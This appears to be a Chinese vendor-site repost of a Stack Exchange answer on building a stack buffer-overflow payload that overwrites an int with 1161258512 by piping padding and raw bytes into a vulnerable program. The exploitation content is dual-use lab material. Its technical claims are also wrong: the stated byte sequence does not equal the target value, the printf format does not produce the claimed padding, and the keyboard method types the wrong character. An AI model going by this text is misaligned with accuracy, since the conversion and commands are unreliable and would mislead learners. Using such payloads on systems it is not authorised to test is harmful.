You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何输入ASCII码16字符并构造1161258512值实现缓冲区溢出?

解决Linux下C语言缓冲区溢出的载荷构造问题

核心步骤拆解

  1. 解析目标数值的字节表示
    目标INT值1161258512在x86/x86_64架构(小端序)的Linux下,对应的4字节序列为:\x10\x11\x30\x45。其中第一个字节\x10就是你需要的ASCII 16(数据链路转义␐),正好满足需求。
    (验证方式:用Python执行struct.pack('<I', 1161258512)可直接得到该字节序列)

  2. 构造完整溢出载荷
    假设程序中需要覆盖的INT变量位于缓冲区之后,比如缓冲区大小为100字节,那么载荷需要包含:

    • 100个填充字符(比如'A',用来填满缓冲区并覆盖到变量位置)
    • 上述4字节序列(用来覆盖INT变量为目标值)
  3. 输入载荷的可行方法
    控制字符无法直接通过普通键盘输入转义序列,推荐以下两种可靠方式:

    • 方法一:用printf生成载荷并通过管道传入
      执行命令:
      printf '%.100s\x10\x11\x30\x45' 'A' | ./your_vulnerable_program
      
      把100替换为实际缓冲区大小,your_vulnerable_program替换为目标程序名。
    • 方法二:生成载荷文件后输入
      先生成载荷文件:
      printf '%.100s\x10\x11\x30\x45' 'A' > payload.bin
      
      再让程序读取该文件:
      ./your_vulnerable_program < payload.bin
      
    • 方法三:直接键盘输入(需禁用流控制)
      先禁用终端的Ctrl+P/Q流控制:
      stty -ixon
      
      然后输入对应数量的填充字符,接着按Ctrl+P(输入ASCII16)、Ctrl+Q(输入ASCII17)、字符'0'、字符'E',回车即可。

注意事项

  • 若程序运行在大端架构Linux(如PowerPC),字节序需反转,序列变为\x45\x30\x11\x10,但x86/x86_64平台无需考虑。
  • 直接输入转义字符串(如\x10)无效,因为程序的输入函数(如scanf)会将其视为普通字符,而非转义后的字节。

内容的提问来源于stack exchange,提问作者Bbird

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.11 05:33:16